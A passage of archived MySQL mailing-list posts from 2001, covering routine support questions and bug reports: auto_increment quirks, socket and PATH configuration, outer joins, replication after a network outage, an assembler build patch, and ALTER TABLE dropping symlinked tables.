Hi, I dont know whats wrong with my mysql but when I add a column with auto_inc (I just copied and paseted what you did) I got: Primary key cannot be NULL, so, but I got it working So thanks anyway. And as I always say... If something works, dont touch int. So I wont reinstall. /roger mysql select * from tbl; +-+---+ | oid | name | +-+---+ | 1 | bob | | 2 | vera | | 3 | steve | | 4 | Mike | +-+---+ 4 rows in set (0.62 sec) mysql alter table tbl drop primary key,drop oid; Query OK, 4 rows affected (6.39 sec) Records: 4 Duplicates: 0 Warnings: 0 mysql alter table tbl add id int not null auto_increment primary key first; Query OK, 4 rows affected (3.06 sec) Records: 4 Duplicates: 0 Warnings: 0 mysql select * from tbl; ++---+ | id | name | ++---+ | 5 | bob | | 6 | vera | | 7 | steve | | 8 | Mike | ++---+ 4 rows in set (0.39 sec) mysql alter table tbl drop primary key,drop id, - add nid int auto_increment not null primary key first; Query OK, 4 rows affected (3.87 sec) Records: 4 Duplicates: 0 Warnings: 0 mysql select * from tbl; +-+---+ | nid | name | +-+---+ | 9 | bob | | 10 | vera | | 11 | steve | | 12 | Mike | +-+---+ 4 rows in set (0.35 sec) mysql select version(); +---+ | version() | +---+ | 3.23.33 | +---+ 1 row in set (0.09 sec) -- Don Read [EMAIL PROTECTED] -- If you are going to sin, sin against God, not the bureaucracy. God will forgive you but the bureaucrats won't. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Accessing MySQL remote DB from VB5
Can anybody tell me if my VB5 programs can query an MySQL DataBase on a Remote server? If so, what should I distribute with my software? I have done some things like that, and since VB unses standard ODBC connections the only thing you need to include in your dist is the MyODBC API /roger - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Graphical modelling
http://www.mysql.com/documentation/dezign/index.html There are several other tools available but I don't remember them off the top of my head. Cal http://www.calevans.com -Original Message- From: claire csoka [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 8:35 AM To: [EMAIL PROTECTED] Subject: Graphical modelling Hi, I'm new to the list so please excuse my ignorance! Does anybody know of any graphical ways of modelling the tables, keys, relationships etc which will then automatically generate the appropriate database? I'm looking at RAD with a MySQL back end. Thanks Claire. _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: (yet another) sock issue
Sorry.. thats was realy stupid Right... it works fine now... It wasn't the permissions, it was the filename hmm. hahaha :) /roger Because it is my.cnf, not my.cfg. Also they need to be world readable. roger westin wrote: Have the same problem, nither the server or any client seems to read the my.cfg files, they are just going on the precompiled default value. Have tried to recomplie and alot off stuff but I always have to add the --socket /tmp/mysql.sock I got this problem after I installed the rpm clients and added the server by compiling an installing it. So ... Why isn't the rpm and installation source putting mysql in the same directory and have the same defaults. And how do you actualy make it read the my.cfg file? (shouldtn't it be read atomaticly?) /roger - Original Message - From: "Charles Mgnin" [EMAIL PROTECTED] To: "MYSQL" [EMAIL PROTECTED] Sent: Wednesday, March 21, 2001 9:24 AM Subject: (yet another) sock issue Although the my.cnf file specifies socket = /tmp/mysql.sock the server expects mysql.sock to reside in /var/lib/mysql [mysql@localhost]$ /usr/bin/mysqladmin -u root -p password Enter password: /usr/bin/mysqladmin: connect to server at 'localhost' failed error: 'Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111)' Check that mysqld is running and that the socket: '/var/lib/mysql/mysql.sock' exists! Any thoughts ? - - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Silent Install On Windows
Is it possible to install Mysql server clients and odbc in my own setup program ? I mean that i created a Visual Basic Project and i also create a setup wizard for this application. I also wanted to distribute mysql server , mysql clients and mysql odbc softwares included in my setup wizard. Is it possible ? If possible how can i implement this feature ? Do i have to use some command line options for this or is it works if i distribute binary files in my own setup wizard ? If it works what is the issues i have to pay attention like ini file or MFC dll 's etc.. Regards. Yusuf Incekara Avukatpro Limited Sirketi - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MYSQL on Windows 2k
I installed mysql as a service and it starts/stops fine, but whenever I try any commands starting with 'mysql' on the prompt it says it's an unrecognized command. Please help.
Test - Ignore.
Test, Please ignore. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Graphical modelling
Dezign looks useful, but does anybody know any others - then I'll stop bugging you all. Thanks in advance, Claire. From: "Cal Evans" [EMAIL PROTECTED] To: "claire csoka" [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: RE: Graphical modelling Date: Thu, 22 Mar 2001 08:59:59 -0600 http://www.mysql.com/documentation/dezign/index.html There are several other tools available but I don't remember them off the top of my head. Cal http://www.calevans.com -Original Message- From: claire csoka [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 8:35 AM To: [EMAIL PROTECTED] Subject: Graphical modelling Hi, I'm new to the list so please excuse my ignorance! Does anybody know of any graphical ways of modelling the tables, keys, relationships etc which will then automatically generate the appropriate database? I'm looking at RAD with a MySQL back end. Thanks Claire. _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
UPDATE problems in 3.23.35 ?
Hi, I recantly upgraded from 3.22.32 to 3.23.35 using an rpm from www.mysql.com. My platform: Redhat Linux 2.2.14 i686 The problem is now that UPDATE do not always succed. I get a query OK but no update is done unless the same query is issued once again. This problem is not constant but rather comes and go. Case 1: Failure mysql select * from test; ++---+ | id | value | ++---+ | 1 |xx | ++---+ 1 row in set (0.00 sec) mysql update test set value='yy' where id=1; Query OK, 0 rows affected (0.00 sec) mysql select * from test; ++---+ | id | value | ++---+ | 1 |xx | ++---+ 1 row in set (0.00 sec) Case 2: Failure first time, but second time the update is done mysql select * from test; ++---+ | id | value | ++---+ | 1 |xx | ++---+ 1 row in set (0.00 sec) mysql update test set value='yy' where id=1; Query OK, 0 rows affected (0.00 sec) mysql update test set value='yy' where id=1; Query OK, 1 row affected (0.00 sec) mysql select * from test; ++---+ | id | value | ++---+ | 1 |yy | ++---+ 1 row in set (0.00 sec) Does anyone understand this ? becouse I am lost ! regards Petter - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: MYSQL on Windows 2k
Are you in the right directory, or do you have your PATH environment variable set to point to the right directory? Running mysql from C:\windows\ is unlikely to work unless you've tweaked your settings. HTH Jon -Original Message- From: Daniel J. [mailto:[EMAIL PROTECTED]] Sent: 22 March 2001 17:20 To: [EMAIL PROTECTED] Subject: MYSQL on Windows 2k I installed mysql as a service and it starts/stops fine, but whenever I try any commands starting with 'mysql' on the prompt it says it's an unrecognized command. Please help. ** 'The information included in this Email is of a confidential nature and isi ntended only for the addressee. If you are not the intended addressee, any disclosure, copying or distribution by you is prohibited and may be unlawful. Disclosure to any party other than the addressee, whether inadvertent or otherwise is not intended to waive privilege or confidentiality' ** - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MYSQL on Windows 2k
Hi Please make sure the PATH environmental variable includes the location of mysql/bin e.g. %PATH%;x:\mysql\bin. Where x = a drive letter. At 09:20 22/03/2001 -0800, Daniel J. wrote: I installed mysql as a service and it starts/stops fine, but whenever I try any commands starting with 'mysql' on the prompt it says it's an unrecognized command. Please help. Regards John MySQL Development Team __ ___ __ __ / |/ /_ __/ __/ __ \/ / John Dean [EMAIL PROTECTED] / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\/ Mansfield, England, UK ___/ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SELECT COUNT()...
Hi, I have these 3 tables which hold order information for a web site. One table holds the shipping info/credit cart stuff, another one holds one type of item ('home accents'), and the other one holds house plans. When someone orders these items, due to the options on house plans, I must store the order information for plans and accents in 2 seperate tables. So, I broke the order info down into the 3 tables described above. Each of the accentorders and planorders tables have an order_id field which coresponds to the ID field in the mainorder table (which holds the shipping and CC info). All this works fine, however I'm stumped on one issue. I want to use one select statement and get all the items for that one order AND figure out how many 'Plans' that order has and how many 'Accents' the order has. I've tried this select statement: SELECT orders.id,orders.ship_co_name,orders.ship_name,orders.order_date, orders.order_total,orders.order_complete,orders.bad, COUNT(DISTINCT planordermain.id) AS plans,COUNT(DISTINCT accentorderdetail.id) AS accents FROM orders,accentorderdetail,planordermain WHERE ((orders.id=accentorderdetail.id) AND (orders.id=planordermain.order_id)) GROUP BY orders.id ORDER BY orders.order_date ASC; Which gives: ++--+++-+ +-+---+-+ | id | ship_co_name | ship_name | order_date | order_total | order_complete | bad | plans | accents | ++--+++-+ +-+---+-+ | 1 | Mindbender | Johnny Withers | 3/20/2001 | 1426.85 | 0 | 1 | 2 | 1 | | 2 | Mindbender | Johnny Withers | 3/21/2001 | 1538.13 | 0 | 1 | 2 | 1 | | 3 | Mindbender | John Doe | 3/21/2001 | 2084.13 | 0 | 1 | 3 | 1 | ++--+++-+ +-+---+-+ It gives correct results for 'plans' but incorrect results for accents. Also, if a user doesn't order any 'plans' but orders 'accents' this query will not return any results at all (because of the AND in the where). I tried to use OR, but then I get (orders*plans_ordered*accent_orders) which is not right either. In other words, you want to preserve the orders table, which means an outer join. FROM (orders o LEFT JOIN accentordetail a ON o.id = a.id) LEFT JOIN planordermain p ON a.id = p.id This replaces both your FROM and WHERE clauses. (If you use the aliases you'll have to use them in the rest of the SQL statement also.) At first blush, the Count() problem looks like a data problem. Being lazy, I'm not inclined to set up a database and try to duplicate the problem when I don't see a problem with the SQL. I'm not saying the problem isn't in the SQL, I'm just saying that I'm lazy. If you posted the data in the tables that resulted in the output above, I'd be more inclined to proceed to the next step. In general, it makes it easier for people on the list to help you if we have both the input and the output. It's possible that the outer joins will solve the Count() problem, but I can't tell without the input data. Thanks for the input. - Johnny Withers [EMAIL PROTECTED] p. 601.853.0211 c. 601.954.9133 Bob Hall Know thyself? Absurd direction! Bubbles bear no introspection. -Khushhal Khan Khatak - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SELECT help
Hi, This is my first posting, although i've been signed up to the list for a while. My problem is this. Table A (5000 rows) ID, NAME, SCORE Table B (1000 rows) ID, NAME, SCORE I want all records from Table A and those from Table B where they match, for this i'm using a right join. However, there are rows in Table B which don't match any in Table A, but i need to include these as well. Any help would be appreciated. Ben. Sir, I haven't seen an answer to your question, so here's one way of getting what you want. What you want is basically the union of three groups of rows: the rows from A and B that match, the rows from A that don't match B, and the rows from B that don't match A. Your outer join returns the first two groups. The last group is returned by a difference query: the rows in B that don't match any of the rows in A (B - A). Since MySQL doesn't yet support UNION, you will have to load the result tables from both queries into another table, and then SELECT * from that table. I have a description of the standard difference query on my website; http:/users.starpower.net/rjhalljr, click on MySQL on the sidebar, click on SQL, and look for the difference query topic. Bob Hall Know thyself? Absurd direction! Bubbles bear no introspection. -Khushhal Khan Khatak - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: MYSQL on Windows 2k
You need to add the \mysql\bin directory to your path. Dunc. -Original Message- From: Daniel J. [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 12:20 PM To: [EMAIL PROTECTED] Subject: MYSQL on Windows 2k I installed mysql as a service and it starts/stops fine, but whenever I try any commands starting with 'mysql' on the prompt it says it's an unrecognized command. Please help. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Replication does not continue after removal/replace of network cable.
On Thursday 22 March 2001 16:46, Johan Vanroose wrote: From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Replication does not continue after removal/replace of network cable. Description: Configuration. Two servers (PCs) running mysql, both are master and slave to each other. Replication using binary log. Updates done (from the mysql console) on either server are replicated to the other. (The application (I) takes care that the updates are not conflicting.) So far so good. Now the problem. I remove a network cable from one of the servers. I do an update (insert into table) on server 1. I do a second update (again insert) on server 2. Of course the updates aren't replicated (no communication possible). However... when I replace the cable, the replication is not done for the previous two inserts. I waited 4 minutes... Still no replication. Hmmm. The same thing happened to me with the 3.23.35 rpm on Linux Redaht 7.0. I had to do a 'slave stop/start' for the slave to recover. -- Jean-Luc Fontaine - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
installation error
After running ./configure ; make ; make install when trying to run mysql_install_db the error "Didn't find /usr/local/libexec/mysqld You should do a 'make install' before executing this script" . How do I go about resolving this issue ? \ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Graphical modelling
I tried half a dozen or so different ones a while back and settled on CASEStudio, www.casestudio.com. Mark Chalkley Beneficial Systems, Inc. *** REPLY SEPARATOR *** On 3/22/2001 at 3:35 PM claire csoka wrote: Dezign looks useful, but does anybody know any others - then I'll stop bugging you all. Thanks in advance, Claire. From: "Cal Evans" [EMAIL PROTECTED] To: "claire csoka" [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: RE: Graphical modelling Date: Thu, 22 Mar 2001 08:59:59 -0600 http://www.mysql.com/documentation/dezign/index.html There are several other tools available but I don't remember them off the top of my head. Cal http://www.calevans.com -Original Message- From: claire csoka [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 22, 2001 8:35 AM To: [EMAIL PROTECTED] Subject: Graphical modelling Hi, I'm new to the list so please excuse my ignorance! Does anybody know of any graphical ways of modelling the tables, keys, relationships etc which will then automatically generate the appropriate database? I'm looking at RAD with a MySQL back end. Thanks Claire. _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php _ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php END OF ORIGINAL TEXT * - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Pauses with large selects
Sinisa Milivojevic wrote: Hi! With : select * from table; queries MySQL returns results immediately. Any problem that you experience might come only from poor build, some OS bug or some wrong settings. Thanks for the reply! That's good to know at least. I really didn't know if anything was wrong or not. I've been looking through the docs and the list for a few days, but it's tricky when you don't really know what to look for (searching for stuff like "select" and "pause" doesn't help much ;-). However, I think I finally stumbled upon at least part of my problem... It's "mysql_store_result" vs. "mysql_use_result"! Since both Perl's DBI and the mysql command use "mysql_store_result" by default, all rows are buffered up before being returned - the more rows the longer the delay. Informix behaves more like "mysql_use_result" where results are returned as they are found. The other problem is the delay when closing a select early. From what I gather it seems like it's not possible to abort a select without first reading all the rows. I'm guessing the mysql client and Perl DBI both hide this by just doing the equivalent of sending what remains to /dev/null (hence the delay). I guess it's not really a problem now that I know what to expect. I just have to remember to include limits on all my selects. It's just a bit of a re-think since until recently, Informix had no statement like LIMIT and it's normal to simply close the cursor (finish() under DBI) once you've found what you're after. Thanks, S. Lemmon - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Build problem with files strings/xxxx-x86.s
Description: Compilation problem on SunOS intel. How-To-Repeat: Try to build using gcc (package from sunfreeware) and configuring like this: sh configure \ --enable-thread-safe-client \ --enable-assembler \ --localstatedir=somewhere then files strings/strings-x86.s strings/longlong2str-x86.s make the assembler choke. When I pass them through gas on my FreeBSD box, they compile fine: cpp strings-x86.s | as -o strings-x86.o cpp longlong2str-x86.s | as -o longlong2str-x86.o I copy them over to the SunOS box and it works almost. I'm getting linker errors. I can fix those by changing two lines in the above mentioned files. Please apply the following patch to your source. Fix: Only in mysql-3.23.35-fixed/strings: longlong2str-x86.o diff -c -b -r mysql-3.23.35/strings/longlong2str-x86.s mysql-3.23.35-fixed/strings/longlong2str-x86.s *** mysql-3.23.35/strings/longlong2str-x86.sFri Mar 16 01:51:52 2001 --- mysql-3.23.35-fixed/strings/longlong2str-x86.s Thu Mar 22 19:09:44 2001 *** *** 133,139 .sizelonglong2str,.Lfe3-longlong2str .globllonglong10_to_str ! .typelonglong10_str,@function longlong10_to_str: jmp longlong2str --- 133,139 .sizelonglong2str,.Lfe3-longlong2str .globllonglong10_to_str ! .typelonglong10_to_str,@function longlong10_to_str: jmp longlong2str Only in mysql-3.23.35-fixed/strings: strings-x86.o diff -c -b -r mysql-3.23.35/strings/strings-x86.s mysql-3.23.35-fixed/strings/strings-x86.s *** mysql-3.23.35/strings/strings-x86.s Fri Mar 16 01:51:56 2001 --- mysql-3.23.35-fixed/strings/strings-x86.s Thu Mar 22 19:00:15 2001 *** *** 403,406 movl%edx,%ebx ret .strxmov_end: ! .sizestrxmov,strxmov_end-strxmov --- 403,406 movl%edx,%ebx ret .strxmov_end: ! .sizestrxmov,.strxmov_end-strxmov Submitter-Id: submitter ID Originator:Dirk Zoller Organization: e-mail: [EMAIL PROTECTED] MySQL support: none Synopsis: Build problem with files strings/-x86.s Severity: non-critical Priority: low Category: mysql Class: sw-bug Release: mysql-3.23.35 (Source distribution) Server: /opt/pnldev/FreeBSD-i386/bin/mysqladmin Ver 8.18 Distrib 3.23.35, for unknown-freebsdelf3.5 on i386 Copyright (C) 2000 MySQL AB MySQL Finland AB TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 3.23.35 Protocol version10 Connection Localhost via UNIX socket UNIX socket /tmp/mysql.sock Uptime: 1 hour 59 min 24 sec Threads: 1 Questions: 14 Slow queries: 0 Opens: 12 Flush tables: 1 Open tables: 6 Queries per second avg: 0.002 Environment: System: FreeBSD erde.sol-3.de 3.5-STABLE FreeBSD 3.5-STABLE #9: Fri Nov 17 20:00:05 CET 2000 [EMAIL PROTECTED]:/usr/src/sys/compile/ERDE i386 Some paths: /usr/local/bin/perl /usr/bin/make /usr/local/bin/gmake /opt/gnu/bin/gcc /usr/bin/cc GCC: Reading specs from /opt/gnu/gcc-2.95.3/lib/gcc-lib/i386-unknown-freebsdelf/2.95.3/specs gcc version 2.95.3 20010315 (release) Compilation info: CC='gcc' CFLAGS='-pipe -march=i586 -mcpu=i686 -fno-ident -ffast-math -mfancy-math-387 -mpreferred-stack-boundary=2 -O2 -fomit-frame-pointer' CXX='c++' CXXFLAGS='-pipe -march=i586 -mcpu=i686 -fno-ident -ffast-math -mfancy-math-387 -mpreferred-stack-boundary=2 -fno-exceptions -fno-rtti -fpermissive -O2 -fomit-frame-pointer' LDFLAGS=' -s' LIBC: -r--r--r-- 1 root wheel 1048706 Nov 17 21:38 /usr/lib/libc.a lrwxrwx--- 1 root wheel 9 Nov 17 21:38 /usr/lib/libc.so - libc.so.3 -r--r--r-- 1 root wheel 520557 Nov 17 21:38 /usr/lib/libc.so.3 Configure command: configure --prefix=/opt/pnldev/FreeBSD-i386/mysql-3.23.35 --disable-shared --enable-thread-safe-client --enable-assembler --localstatedir=/opt/pnl/data - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
A new incomplete Innobase manual at www.innobase.fi
Hi! I posted an incomplete Innobase manual at my website. I will be updating it daily as the writing progresses. Best regards, Heikki Tuuri - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bugs in 3.23.35
Thanks Sinisa Milivojevic wrote: denis writes: Any ETA on corrected RPM's? Should be out this weekend or in the beginning of next week. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: ERROR 2002 question
Thank you very much. This did the trick! The /var/lib/mysql directory needed to be readable and executable. I don't know why the Kernel upgrade changed this but it's good now. -Craig On Thu, 22 Mar 2001, Gerald Clark wrote: The full path to the mysql.sock file must be readable, and searchable for the client to find and open the socket. Craig Cummings wrote: Hi there, I recently upgraded my Linux kernel to 2.4.2 and my perl DBI/DBD and now MySQL is behaving strangely. If I'm logged into my system as root I can see that the mysql server is up and running and I can access it just fine using either the root database login or a user login. However, if I'm logged into Linux as a regular user I get an "ERROR 2002: Can't connect to local MySQL server through socket 'var/lib/mysql/mysql.sock' (13)", even if I try to log in with the root database password. This is also the case when my CGI scripts attempt to access MySQL using a user login. I checked the documentation on this but it seems stranger than the described Error 2002 situations. The error log for the localhost does not show any record of the failed connections. Any idea what's going on here? Thanks, in advance, for your help. Regards, Craig Cummings, Ph.D. Relman Laboratory Stanford University School of Medicine Department of Microbiology and Immunology e-mail: [EMAIL PROTECTED] phone: 650-498-5998 fax:650-852-3291 Craig Cummings, Ph.D. Relman Laboratory Stanford University School of Medicine Department of Microbiology and Immunology e-mail: [EMAIL PROTECTED] phone: 650-498-5998 fax:650-852-3291 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Create DB's in different directories.Please!How?
Maxim, I posted a very similar question yesterday and got a very helpful reply. Please see it below: Databases are essentially just directories. What you do is create a directory in the users home directory. Then, do this: ln -s /path/to/home/dbdir /path/to/mysql/data/dir/somedbname Then grant the user access to that db. Your all set :) - Original Message - To: [EMAIL PROTECTED] Sent: Wednesday, March 21, 2001 4:06 PM Subject:create db in separate directory I'm working on a web-hosting site where we'll be giving users a MySQL database. We wanted to store the database in the user's own directory, where we'll be enforcing size quotas. So far though, I haven't been able to find a way to create a database in a directory other than MySQL/data. I've seen a couple of references to symbolic links but am not sure if this is the answer. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MySQL and XML?
I know Oracle has been modified to use XML files as the database, making queries directly to a flat file No, thats not how it works. They format the *output* with XML making it easier for an application that can parse XML to import the data. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
BUG: alter table destroys symbolic links!
Hello If table xyz is a symbolic link (recommended in the manual for very big files that do not fit on a single partition) then "ALTER TABLE xyz TYPE=ISAM;" ignores this, removes the link and recreate the table on the data directory. I consider it a bug, as it is a) not what the user expects, even repair, optimise and other alter table functions do not work like this b) a user that has no shell account has no other way to alter the table type c) this can be used as a denial of service attack as mysql hangs when getting a "no space left" error message and this is a way to more around the system administrators disk-quota settings! This was tested with the latest MySQL-3.23.35 on linux (ext2 reiserfs, although this shouldn't matter in for the symlink handling) bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: alter table destroys symbolic links!
I'm gonna take a crack at this. The type keyword in the alter table command is there to convert databases from one type to another. While yes, I do think that the MySQL team could check if the types are the same and not recreate the table if it isn't necessary. I don't consider it a bug that they don't. If you want to prevent this from happening, I suggest you have an entire database on the other partition/drive with the symlink. Then the only way your tables won't exist over on the second drive is if you drop the database. - Original Message - From: "Christian Hammers" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, March 22, 2001 11:51 AM Subject: BUG: alter table destroys symbolic links! Hello If table xyz is a symbolic link (recommended in the manual for very big files that do not fit on a single partition) then "ALTER TABLE xyz TYPE=ISAM;" ignores this, removes the link and recreate the table on the data directory. I consider it a bug, as it is a) not what the user expects, even repair, optimise and other alter table functions do not work like this b) a user that has no shell account has no other way to alter the table type c) this can be used as a denial of service attack as mysql hangs when getting a "no space left" error message and this is a way to more around the system administrators disk-quota settings! This was tested with the latest MySQL-3.23.35 on linux (ext2 reiserfs, although this shouldn't matter in for the symlink handling) bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To 